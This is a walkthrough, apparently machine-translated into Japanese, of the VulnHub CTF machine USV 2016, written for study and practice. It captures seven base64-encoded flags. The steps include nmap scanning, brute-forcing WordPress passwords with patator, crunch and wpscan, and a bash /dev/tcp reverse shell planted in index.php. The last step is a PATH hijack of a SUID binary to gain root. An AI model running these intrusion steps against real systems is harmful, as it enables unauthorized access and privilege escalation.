VulnHub:USV2016。ルーマニアのCTF、それらは何ですか?





こんにちは、この記事では、ルーマニアのCTF-USV 2016のトピック「ゲームオブスローンズ」についての決定を検討します。 VulnHubのリンクから仮想マシンのイメージをダウンロードできます。



ルーマニアでの大学間CTFの開催方法に関心がある場合は、



CTFについて少し



CTF-USV 2016は、スチャヴァ大学がルーマニアで開催した最初の情報セキュリティの留学生コンテストです。 セキュリティチャレンジの作成、結果の評価、CTF環境の構築は、Safetech Tech Teamによって提供されました:Oana Stoian(@gusu_oana)、Teodor Lupan(@theologu)、およびIonut Georgescu(@ ionutge1)


次の形式の合計7つのフラグがあります: Country_name Flag:[md5 hash]



さあ始めましょう!



nmapターゲットを調べてみましょう。



$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
      
      





2017-01-15 19:47 MSKにNmap 7.01( nmap.org )を開始

192.168.1.102のN​​mapスキャンレポート

ホストが稼働しています(0.00057秒の遅延)。

表示されていません:65529閉じたポート

ポートステートサービスバージョン

22 / tcp open ssh OpenSSH 7.3(プロトコル2.0)

80 / tcp open http Apache httpd

3129 / tcp open http-proxy Squid http proxy 3.5.22

3306 / tcp open mysql MariaDB(無許可)

4444 / tcp open http Foundry EdgeIronスイッチhttp config

21211 / tcp open ftp vsftpd 2.0.8以降

MACアドレス:08:00:27:2B:64:55(Oracle VirtualBox仮想NIC)

サービス情報:ホスト:SevenKingdoms; デバイス:スイッチ


そして、フラグに行きましょう...



フラグ1(クロアチア)



最初のフラグでは、すべてが簡単です。 niktoを起動すると、異常なヘッダーの存在がすぐに通知されます。



 $ nikto -h 192.168.1.102
      
      





+珍しいヘッダー 'x-xss-protection'が見つかりました。内容:Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxNDM5OGFlYjc1MDQ0ZTljZDRjMGViYg ==


デコード:



 $ echo Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxNDM5OGFlYjc1MDQ0ZTljZDRjMGViYg== | base64 -d Croatia Flag: 0c326784214398aeb75044e9cd4c0ebb
      
      





フラグ2(イタリア)







sshを介して接続すると、このようなドラゴンを見ることができます 。 そして、暗号化された行の一番下で:

wDOW0gW / QssEtq5Y3nHX4XlbH / Dnz27qHFhHVpMulJSyDCvex ++ YCd42tx7HKGgB


注意深く調べると、写真を構成するいくつかの文字の存在に気づくでしょう。 すべてをまとめると、次のようになります。

AES ECB xxxxx0000000xxxxxx


アルゴリズム、キー、暗号化されたメッセージがあります。たとえば、 ここで 、復号化して2番目のフラグを取得します。



イタリアの国旗:0047449b33fbae830d833721edaef6f1



フラグ3(ポルトガル)



ウェブに渡します。 Webサイト(ポート80)とプロキシ(ポート3129)があります。 設定でプロキシサーバーのアドレスとポート(この場合-攻撃されたマシン)を指定したら、サイトを開きます。







大したことはありません、続けましょう:







平凡なWordPress、目立ったものは何もない。 インデックスページを開くと、ブログにアクセスできます。 「ゲームオブスローンズ」に関する記事がいくつかあります。 最初に目を引くのは、次の出版物です。







この画像を開くと、 hodorディレクトリにあることがわかります。







どちらに進んだら、アーカイブをダウンロードするよう提案されます:







アーカイブには画像が待っています。







そしてフラグ:



 $ echo UG9ydHVnYWwgRmxhZzogYTI2NjNiMjMwNDVkZTU2YzdlOTZhNDA2NDI5ZjczM2Y= | base64 -d Portugal Flag: a2663b23045de56c7e96a406429f733f
      
      





フラグ4(パラグアイ)



ページの一番下で、この投稿に注目が集まっています。







サイトを解析し、ブルートフォースパスワードで辞書を収集します。



 cewl --proxy_host 192.168.1.102 --proxy_port 3129 http://192.168.1.102/blog/ > blog.lst
      
      





検索を開始してしばらくすると、 patatorは正しいパスワードを提供します。



 $ patator http_fuzz http_proxy=192.168.1.102:3129 url='http://192.168.1.102/blog/wp-login.php?action=postpass' method=POST header='Referer: "http://192.168.1.102/blog/index.php/2016/10/16/the-secret-chapter/"' body='post_password=FILE0&Submit=Enter' 0=blog.lst -x ignore:fgrep='post-password-form' follow=1 accept_cookie=1
      
      









入力すると、この出版物の内容にアクセスできます。







ここにあるbase64行をデコードして、新しいフラグを取得します。



 $ echo UGFyYWd1YXkgRmxhZzogNDc2MWI2NWYyMDA1MzY3NDY1N2M3ZTYxODY2MjhhMjk= | base64 -d Paraguay Flag: 4761b65f20053674657c7e6186628a29
      
      





フラグ5(タイ)



あなたがこの投稿の内容を信じているなら、パスワードは私たちの目の前にあります。はい、ここの写真は明らかに件名の中にあります。 ただし、よく見ると、次のフレーズがあります。

彼女は彼女の軍隊のためにフィールドTを雨が降っているP賠償を使用します。


さて、ログインする場所はわかっていますが、パスワードはそのままです。 最初に個々の単語を入力しようとした後、フレーズのスニペットをそこに追加し、すぐにヒドラは必要なものを見つけました:







接続します:



 $ ftp 192.168.1.102 21211 ftp> ls -ahl 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. dr-xr-xr-x 2 1000 1000 4096 Dec 05 20:05 . dr-xr-xr-x 2 1000 1000 4096 Dec 05 20:05 .. -rw-r--r-- 1 0 0 94 Dec 05 20:04 .note.txt -rw-r--r-- 1 0 0 32 Dec 05 20:05 readme.txt 226 Directory send OK.
      
      





利用可能なすべてのファイルをダウンロードしてから、調査します。



 ftp> get readme.txt local: readme.txt remote: readme.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for readme.txt (32 bytes). 226 Transfer complete. 32 bytes received in 0.00 secs (226.4 kB/s) ftp> get .note.txt local: .note.txt remote: .note.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for .note.txt (94 bytes). 226 Transfer complete. 94 bytes received in 0.00 secs (791.4 kB/s)
      
      





最初のファイルは興味深いものではありません。



readme.txt
私は自分のために隠しメモを保管します


しかし、2番目は注目に値します。



.note.txt
私はいつもパスワードを忘れていたので、私のブログアカウントには子供の名前を使用しました。



-=デナーリス=-



パスワードのヒントを学びました-これらは彼女の子供の名前です、 グーグルは問題の子供とその名前をすぐに提案しました。 したがって、 クランチを開始して、辞書の生成に進みます。



 $ crunch 1 1 -p Rhaegal Viserion Drogon > dragons
      
      





これをwpscanに送信して、繰り返し処理します。



 $ sudo ./wpscan.rb --proxy 192.168.1.102:3129 --url http://192.168.1.102/blog/ --username mother_of_dragons --wordlist dragons
      
      









しばらくして、WordPress管理パネルからパスワードを取得します。 ログインして、現在のユーザーのプロファイルで次のフラグを見つけます。







 $ echo VGhhaWxhbmQgRmxhZzogNmFkNzk2NWQxZTA1Y2E5OGIzZWZjNzZkYmY5ZmQ3MzM= | base64 -d Thailand Flag: 6ad7965d1e05ca98b3efc76dbf9fd733
      
      





旗6(モンゴル)



判明したように、 Daenerysはこのブログの管理者権限を持っているため、 index.phpファイルを編集して、次の行を追加して自分用のシェルを作成します。



 system('bash -i >& /dev/tcp/192.168.1.124/4444 0>&1');
      
      





netcatを起動し、ブラウザでページをリロードすると、シェルが取得されます。







システムを見て回ると、Webサーバーのディレクトリにある、 reward_flag.txtファイルに注意が向けられます。



 [http@arch blog]$ ls -ahl ../ total 92K drwxr-xr-x 3 root root 4.0K Nov 17 15:43 . drwxr-xr-x 4 root root 4.0K May 31 2013 .. drwxr-xr-x 6 http http 4.0K Jan 15 19:52 blog -rw-r--r-- 1 root root 59K Nov 16 19:59 gtr.jpg -rw-r--r-- 1 root root 3.2K Nov 16 20:01 index.html -rw-r--r-- 1 root root 65 Nov 17 15:41 reward_flag.txt -rwsr-sr-x 1 root root 8.3K Nov 17 14:55 winterfell_messenger
      
      





それを開いてみましょう、明らかに、フラグがあるはずです:



 [http@arch blog]$ cat ../reward_flag.txt TW9uZ29saWEgRmxhZzogNmI0OWMxM2NjY2Q5MTk0MGYwOWQ3OWUxNDIxMDgzOTQ= [http@arch blog]$ echo TW9uZ29saWEgRmxhZzogNmI0OWMxM2NjY2Q5MTk0MGYwOWQ3OWUxNDIxMDgzOTQ= | base64 -d Mongolia Flag: 6b49c13cccd91940f09d79e142108394
      
      





フラグ7(ソマリア)



最後のフラグがあるディレクトリには、別のwinterfell_messengerアプリケーションがあります。これは、SUIDビットの存在から判断すると、おそらくシステムでの特権を高めるのに役立ちます。 それを実行して、それが何をするかを見てください:



 [http@arch http]$ ./winterfell_messenger cat: /root/message.txt: No such file or directory
      
      





それでは、ラインはどうですか?



文字列./winterfell_messenger
[http @ arch http] $ string ./winterfell_messenger

/lib64/ld-linux-x86-64.so.2

libc.so.6

setuid

システム

__libc_start_main

__gmon_start__

GLIBC_2.2.5

Uh-8

アワバ

オーアトル

[] A \ A] A ^ A_

cat /root/message.txt

; * 3 $ "

GCC:(GNU)6.1.1 20160802

GCC:(GNU)6.2.1 20160830

init.c

crtstuff.c

__JCR_LIST__

deregister_tm_clones

__do_global_dtors_aux

完了.6916

__do_global_dtors_aux_fini_array_entry

frame_dummy

__frame_dummy_init_array_entry

__FRAME_END__

__JCR_END__

__init_array_end

_DYNAMIC

__init_array_start

__GNU_EH_FRAME_HDR

_GLOBAL_OFFSET_TABLE_

__libc_csu_fini

_edata

システム@@ GLIBC_2.2.5

__libc_start_main @@ GLIBC_2.2.5

__data_start

__gmon_start__

__dso_handle

_IO_stdin_used

__libc_csu_init

__bss_start

メイン

__TMC_END__

setuid @@ GLIBC_2.2.5

.symtab

.strtab

.shstrtab

.interp

.note.ABI-tag

.note.gnu.build-id

.gnu.hash

.dynsym

.dynstr

.gnu.version

.gnu.version_r

.rela.dyn

.rela.plt

.init

.text

.fini

.rodata

.eh_frame_hdr

.eh_frame

.init_array

.fini_array

.jcr

.dynamic

.got

.got.plt

.data

.bss

.comment




あなたはそれを逆にする必要さえありません、 setuid 、およびcatコマンドの相対パスを使用するシステムがあり ます

system()stringで指定されたコマンドを実行し、コマンド/ bin / sh -c stringを呼び出して、コマンドが完了すると戻ります。


一般的に、 おなじみのアルゴリズムに従います。



 [http@arch http]$ PATH=/tmp:$PATH [http@arch http]$ echo "/bin/bash" > /tmp/cat [http@arch tmp]$ chmod +x cat
      
      





脆弱なプログラムを実行し、シェルを取得します。



 [http@arch tmp]$ /srv/http/winterfell_messenger /srv/http/winterfell_messenger id uid=0(root) gid=33(http) groups=33(http)
      
      





ルートディレクトリで最後のフラグを見つけます。



 echo U29tYWxpYSBGbGFnOiA0YTY0YTU3NWJlODBmOGZmYWIyNmIwNmE5NThiY2YzNA== | base64 -d Somalia Flag: 4a64a575be80f8ffab26b06a958bcf34
      
      





おめでとうございます。







説明で述べたように、これは彼らの最初のCTFです。 初めてのことですが、繰り返す価値はありません。残念ながら、実際の生活ではディレクトリの平凡なスキャンで誰も驚かないため、このトピックの開発を続けて、より洗練されたタスクを追加してください。



All Articles